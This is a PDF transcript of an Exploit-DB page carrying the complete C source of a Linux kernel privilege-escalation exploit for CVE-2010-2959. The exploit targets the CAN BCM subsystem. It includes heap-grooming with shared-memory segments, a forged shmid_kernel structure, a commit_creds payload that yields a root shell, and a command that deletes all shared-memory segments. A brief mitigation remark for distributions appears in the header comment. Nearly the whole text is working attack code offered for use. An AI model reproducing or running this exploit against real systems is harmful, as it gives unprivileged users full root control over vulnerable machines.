Exploit access root to kernel 2.6.32 2.6.36 privilege escalation exploit

8

Click here to load reader

Transcript of Exploit access root to kernel 2.6.32 2.6.36 privilege escalation exploit

Page 1: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit

EDB-ID: 14814 CVE: 2010-2959 OSVDB-ID: N/A

Author: Jon Oberheide Published: 2010-08-27Verified:

Exploit Code: Vulnerable App: N/A

RatingOverall:12345(5.0)

view source

print?/*

* i-CAN-haz-MODHARDEN.c

*

* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Esca lation Exploit

* Jon Oberheide <[email protected]>

* http://jon.oberheide.org

*

* Information:

*

* http://cve.mitre.org/cgi-bin/cvename.cgi?name= CVE-2010-2959

*

* Ben Hawkes discovered an integer overflow in t he Controller Area Network

* (CAN) subsystem when setting up frame content and filtering certain

* messages. An attacker could send specially cra fted CAN traffic to crash

* the system or gain root privileges.

*

* Usage:

*

* $ gcc i-can-haz-modharden.c -o i-can-haz-modha rden

* $ ./i-can-haz-modharden

* ...

* [+] launching root shell!

* # id

* uid=0(root) gid=0(root)

*

* Notes:

*

* The allocation pattern of the CAN BCM module g ives us some desirable

* properties for smashing the SLUB. We control t he kmalloc with a 16-byte

* granularity allowing us to place our allocatio n in the SLUB cache of our

* choosing (we'll use kmalloc-96 and smash a shm id_kernel struct for

* old-times sake). The allocation can also be ma de in its own discrete

* stage before the overwrite which allows us to be a bit more conservative

* in ensuring the proper layout of our SLUB cach e.

*

* To exploit the vulnerability, we first create a BCM RX op with a crafted

* nframes to trigger the integer overflow during the kmalloc. On the second

* call to update the existing RX op, we bypass t he E2BIG check since the

* stored nframes in the op is large, yet has an insufficiently sized

* allocation associated with it. We then have a controlled write into the

* adjacent shmid_kernel object in the 96-byte SL UB cache.

*

* However, while we control the length of the SL UB overwrite via a

* memcpy_fromiovec operation, there exists a mem set operation that directly

* follows which zeros out last_frames, likely an adjacent allocation, with

* the same malformed length, effectively nullify ing our shmid smash. To

* work around this, we take advantage of the fac t that copy_from_user can

* perform partial writes on x86 and trigger an E FAULT by setting up a

* truncated memory mapping as the source for the memcpy_fromiovec operation,

* allowing us to smash the necessary amount of m emory and then pop out and

* return early before the memset operation occur s.

*

* We then perform a dry-run and detect the shmid smash via an EIDRM errno

* from shmat() caused by an invalid ipc_perm seq uence number. Once we're

* sure we have a shmid_kernel under our control we re-smash it with the

* malformed version and redirect control flow to our credential modifying

* calls mapped in user space.

*

* Distros: please use grsecurity's MODHARDEN or SELinux's module_request

* to restrict unprivileged loading of uncommon p acket families. Allowing

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

1 de 8 17/2/2012 14:55

Page 2: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

* the loading of poorly-written PF modules just adds a non-trivial and

* unnecessary attack surface to the kernel.

*

* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32 -21-generic), but ports

* easily to other vulnerable kernels/distros. Ca reful, it could use some

* post-exploitation stability love as well.

*

* Props to twiz, sgrakkyu, spender, qaaz, and an yone else I missed that

* this exploit borrows code from.

*/

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>

#include <fcntl.h>

#include <limits.h>

#include <inttypes.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ipc.h>

#include <sys/shm.h>

#include <sys/mman.h>

#include <sys/stat.h>

#define SLUB "kmalloc-96"

#define ALLOCATION 96

#define FILLER 100

#ifndef PF_CAN

#define PF_CAN 29

#endif

#ifndef CAN_BCM

#define CAN_BCM 2

#endif

struct sockaddr_can {

sa_family_t can_family;

int can_ifindex;

union {

struct { uint32_t rx_id, tx_id; } tp;

} can_addr;

};

struct can_frame {

uint32_t can_id;

uint8_t can_dlc;

uint8_t data[8] __attribute__((aligned(8)));

};

struct bcm_msg_head {

uint32_t opcode;

uint32_t flags;

uint32_t count;

struct timeval ival1, ival2;

uint32_t can_id;

uint32_t nframes;

struct can_frame frames[0];

};

#define RX_SETUP 5

#define RX_DELETE 6

#define CFSIZ sizeof(struct can_frame)

#define MHSIZ sizeof(struct bcm_msg_head)

#define IPCMNI 32768

#define EIDRM 43

#define HDRLEN_KMALLOC 8

struct list_head {

struct list_head *next;

struct list_head *prev;

};

struct super_block {

struct list_head s_list;

unsigned int s_dev;

unsigned long s_blocksize;

unsigned char s_blocksize_bits;

unsigned char s_dirt;

uint64_t s_maxbytes;

void *s_type;

void *s_op;

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

2 de 8 17/2/2012 14:55

Page 3: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

void *dq_op;

void *s_qcop;

void *s_export_op;

unsigned long s_flags;

} super_block;

struct mutex {

unsigned int count;

unsigned int wait_lock;

struct list_head wait_list;

void *owner;

};

struct inode {

struct list_head i_hash;

struct list_head i_list;

struct list_head i_sb_list;

struct list_head i_dentry_list;

unsigned long i_ino;

unsigned int i_count;

unsigned int i_nlink;

unsigned int i_uid;

unsigned int i_gid;

unsigned int i_rdev;

uint64_t i_version;

uint64_t i_size;

unsigned int i_size_seqcount;

long i_atime_tv_sec;

long i_atime_tv_nsec;

long i_mtime_tv_sec;

long i_mtime_tv_nsec;

long i_ctime_tv_sec;

long i_ctime_tv_nsec;

uint64_t i_blocks;

unsigned int i_blkbits;

unsigned short i_bytes;

unsigned short i_mode;

unsigned int i_lock;

struct mutex i_mutex;

unsigned int i_alloc_sem_activity;

unsigned int i_alloc_sem_wait_lock;

struct list_head i_alloc_sem_wait_list;

void *i_op;

void *i_fop;

struct super_block *i_sb;

void *i_flock;

void *i_mapping;

char i_data[84];

void *i_dquot_1;

void *i_dquot_2;

struct list_head i_devices;

void *i_pipe_union;

unsigned int i_generation;

unsigned int i_fsnotify_mask;

void *i_fsnotify_mark_entries;

struct list_head inotify_watches;

struct mutex inotify_mutex;

} inode;

struct dentry {

unsigned int d_count;

unsigned int d_flags;

unsigned int d_lock;

int d_mounted;

void *d_inode;

struct list_head d_hash;

void *d_parent;

} dentry;

struct file_operations {

void *owner;

void *llseek;

void *read;

void *write;

void *aio_read;

void *aio_write;

void *readdir;

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

3 de 8 17/2/2012 14:55

Page 4: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

void *poll;

void *ioctl;

void *unlocked_ioctl;

void *compat_ioctl;

void *mmap;

void *open;

void *flush;

void *release;

void *fsync;

void *aio_fsync;

void *fasync;

void *lock;

void *sendpage;

void *get_unmapped_area;

void *check_flags;

void *flock;

void *splice_write;

void *splice_read;

void *setlease;

} op;

struct vfsmount {

struct list_head mnt_hash;

void *mnt_parent;

void *mnt_mountpoint;

void *mnt_root;

void *mnt_sb;

struct list_head mnt_mounts;

struct list_head mnt_child;

int mnt_flags;

const char *mnt_devname;

struct list_head mnt_list;

struct list_head mnt_expire;

struct list_head mnt_share;

struct list_head mnt_slave_list;

struct list_head mnt_slave;

struct vfsmount *mnt_master;

struct mnt_namespace *mnt_ns;

int mnt_id;

int mnt_group_id;

int mnt_count;

} vfsmount;

struct file {

struct list_head fu_list;

struct vfsmount *f_vfsmnt;

struct dentry *f_dentry;

void *f_op;

unsigned int f_lock;

unsigned long f_count;

} file;

struct kern_ipc_perm {

unsigned int lock;

int deleted;

int id;

unsigned int key;

unsigned int uid;

unsigned int gid;

unsigned int cuid;

unsigned int cgid;

unsigned int mode;

unsigned int seq;

void *security;

};

struct shmid_kernel {

struct kern_ipc_perm shm_perm;

struct file *shm_file;

unsigned long shm_nattch;

unsigned long shm_segsz;

time_t shm_atim;

time_t shm_dtim;

time_t shm_ctim;

unsigned int shm_cprid;

unsigned int shm_lprid;

void *mlock_user;

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

4 de 8 17/2/2012 14:55

Page 5: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

} shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsig ned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred )(unsigned long cred);

_commit_creds commit_creds;

_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))

kernel_code(struct file *file, void *vma)

{

commit_creds(prepare_kernel_cred(0));

return -1;

}

unsigned long

get_symbol(char *name)

{

FILE *f;

unsigned long addr;

char dummy;

char sname[512];

int ret = 0, oldstyle;

f = fopen("/proc/kallsyms", "r");

if (f == NULL) {

f = fopen("/proc/ksyms", "r");

if (f == NULL)

return 0;

oldstyle = 1;

}

while (ret != EOF) {

if (!oldstyle) {

ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

} else {

ret = fscanf(f, "%p %s\n", (void **) &addr, sname);

if (ret == 2) {

char *p;

if (strstr(sname, "_O/") || strstr(sname, "_S.")) {

continue;

}

p = strrchr(sname, '_');

if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {

p = p - 4;

while (p > (char *)sname && *(p - 1) == '_') {

p--;

}

*p = '\0';

}

}

}

if (ret == 0) {

fscanf(f, "%s\n", sname);

continue;

}

if (!strcmp(name, sname)) {

printf("[+] resolved symbol %s to %p\n" , name, (void *) addr);

fclose(f);

return addr;

}

}

fclose(f);

return 0;

}

int

check_slabinfo(char *cache, int *active_out, int *total_out)

{

FILE *fp;

char name[64], slab[256];

int active, total, diff;

memset(slab, 0, sizeof(slab));

memset(name, 0, sizeof(name));

fp = fopen("/proc/slabinfo", "r");

if (!fp) {

printf("[-] sorry, /proc/slabinfo is not av ailable!");

exit(1);

}

fgets(slab, sizeof(slab) - 1, fp);

while (1) {

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

5 de 8 17/2/2012 14:55

Page 6: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

fgets(slab, sizeof(slab) - 1, fp);

sscanf(slab, "%s %u %u", name, &active, &to tal);

diff = total - active;

if (strcmp(name, cache) == 0) {

break;

}

}

fclose(fp);

if (active_out) {

*active_out = active;

}

if (total_out) {

*total_out = total;

}

return diff;

}

void

trigger(void)

{

int *shmids;

int i, ret, sock, cnt, base, smashed;

int diff, active, total, active_new, total_new;

int len, sock_len, mmap_len;

struct sockaddr_can addr;

struct bcm_msg_head *msg;

void *efault;

char *buf;

printf("[+] creating PF_CAN socket...\n");

sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);

if (sock < 0) {

printf("[-] kernel lacks CAN packet family support\n");

exit(1);

}

printf("[+] connecting PF_CAN socket...\n");

memset(&addr, 0, sizeof(addr));

addr.can_family = PF_CAN;

ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));

if (sock < 0) {

printf("[-] could not connect CAN socket\n" );

exit(1);

}

len = MHSIZ + (CFSIZ * (ALLOCATION / 16));

msg = malloc(len);

memset(msg, 0, len);

msg->can_id = 2959;

msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;

printf("[+] clearing out any active OPs via RX_ DELETE...\n");

msg->opcode = RX_DELETE;

ret = send(sock, msg, len, 0);

printf("[+] removing any active user-owned shmi ds...\n");

system("for shmid in `cat /proc/sysvipc/shm | a wk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2> &1; done;");

printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");

diff = check_slabinfo(SLUB, &active, &total);

shmids = malloc(sizeof(int) * diff * 10);

cnt = diff * 10;

for (i = 0; i < cnt; ++i) {

diff = check_slabinfo(SLUB, &active, &total );

if (diff == 0) {

break;

}

shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_C REAT);

}

base = i;

if (diff != 0) {

printf("[-] inconsistency detected with SLU B cache allocation, please try again\n");

exit(1);

}

printf("[+] corrupting BCM OP with truncated al location via RX_SETUP...\n");

i = base;

cnt = i + FILLER;

for (; i < cnt; ++i) {

shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_C REAT);

}

msg->opcode = RX_SETUP;

ret = send(sock, msg, len, 0);

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

6 de 8 17/2/2012 14:55

Page 7: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

if (ret < 0) {

printf("[-] kernel rejected malformed CAN h eader\n");

exit(1);

}

i = base + FILLER;

cnt = i + FILLER;

for (; i < cnt; ++i) {

shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_C REAT);

}

printf("[+] mmap'ing truncated memory to short- circuit/EFAULT the memcpy_fromiovec...\n");

mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);

sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);

efault = mmap(NULL, mmap_len, PROT_READ | PROT_ WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

printf("[+] mmap'ed mapping of length %d at %p\ n", mmap_len, efault);

printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");

msg = (struct bcm_msg_head *) efault;

memset(msg, 0, mmap_len);

msg->can_id = 2959;

msg->nframes = (ALLOCATION / 16) * 4;

msg->opcode = RX_SETUP;

ret = send(sock, msg, mmap_len, 0);

if (ret != -1 && errno != EFAULT) {

printf("[-] couldn't trigger EFAULT, exploi t aborting!\n");

exit(1);

}

printf("[+] seeking out the smashed shmid_kerne l...\n");

i = base;

cnt = i + FILLER + FILLER;

for (; i < cnt; ++i) {

ret = (int) shmat(shmids[i], NULL, SHM_RDON LY);

if (ret == -1 && errno == EIDRM) {

smashed = i;

break;

}

}

if (i == cnt) {

printf("[-] could not find smashed shmid, t rying running the exploit again!\n");

exit(1);

}

printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);

printf("[+] re-smashing the shmid_kernel with e xploit payload...\n");

shmid_kernel.shm_perm.seq = shmids[smashed] / I PCMNI;

buf = (char *) msg;

memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_K MALLOC], &shmid_kernel, sizeof(shmid_kernel));

msg->opcode = RX_SETUP;

ret = send(sock, msg, mmap_len, 0);

if (ret != -1 && errno != EFAULT) {

printf("[-] couldn't trigger EFAULT, exploi t aborting!\n");

exit(1);

}

ret = (int) shmat(shmids[smashed], NULL, SHM_RD ONLY);

if (ret == -1 && errno != EIDRM) {

setresuid(0, 0, 0);

setresgid(0, 0, 0);

printf("[+] launching root shell!\n");

execl("/bin/bash", "/bin/bash", NULL);

exit(0);

}

printf("[-] exploit failed! retry?\n");

}

void

setup(void)

{

printf("[+] looking for symbols...\n");

commit_creds = (_commit_creds) get_symbol("comm it_creds");

if (!commit_creds) {

printf("[-] symbol table not availabe, abor ting!\n");

}

prepare_kernel_cred = (_prepare_kernel_cred) ge t_symbol("prepare_kernel_cred");

if (!prepare_kernel_cred) {

printf("[-] symbol table not availabe, abor ting!\n");

}

printf("[+] setting up exploit payload...\n");

super_block.s_flags = 0;

inode.i_size = 4096;

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

7 de 8 17/2/2012 14:55

Page 8: Exploit access root to kernel 2.6.32 2.6.36   privilege escalation exploit

Comments

No comments so far

© Offensive Security 2011

inode.i_sb = &super_block;

inode.inotify_watches.next = &inode.inotify_wat ches;

inode.inotify_watches.prev = &inode.inotify_wat ches;

inode.inotify_mutex.count = 1;

dentry.d_count = 4096;

dentry.d_flags = 4096;

dentry.d_parent = NULL;

dentry.d_inode = &inode;

op.mmap = &kernel_code;

op.get_unmapped_area = &kernel_code;

vfsmount.mnt_flags = 0;

vfsmount.mnt_count = 1;

file.fu_list.prev = &file.fu_list;

file.fu_list.next = &file.fu_list;

file.f_dentry = &dentry;

file.f_vfsmnt = &vfsmount;

file.f_op = &op;

shmid_kernel.shm_perm.key = IPC_PRIVATE;

shmid_kernel.shm_perm.uid = getuid();

shmid_kernel.shm_perm.gid = getgid();

shmid_kernel.shm_perm.cuid = getuid();

shmid_kernel.shm_perm.cgid = getgid();

shmid_kernel.shm_perm.mode = -1;

shmid_kernel.shm_file = &file;

}

int

main(int argc, char **argv)

{

setup();

trigger();

return 0;

}

Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit http://www.exploit-db.com/exploits/14814/

8 de 8 17/2/2012 14:55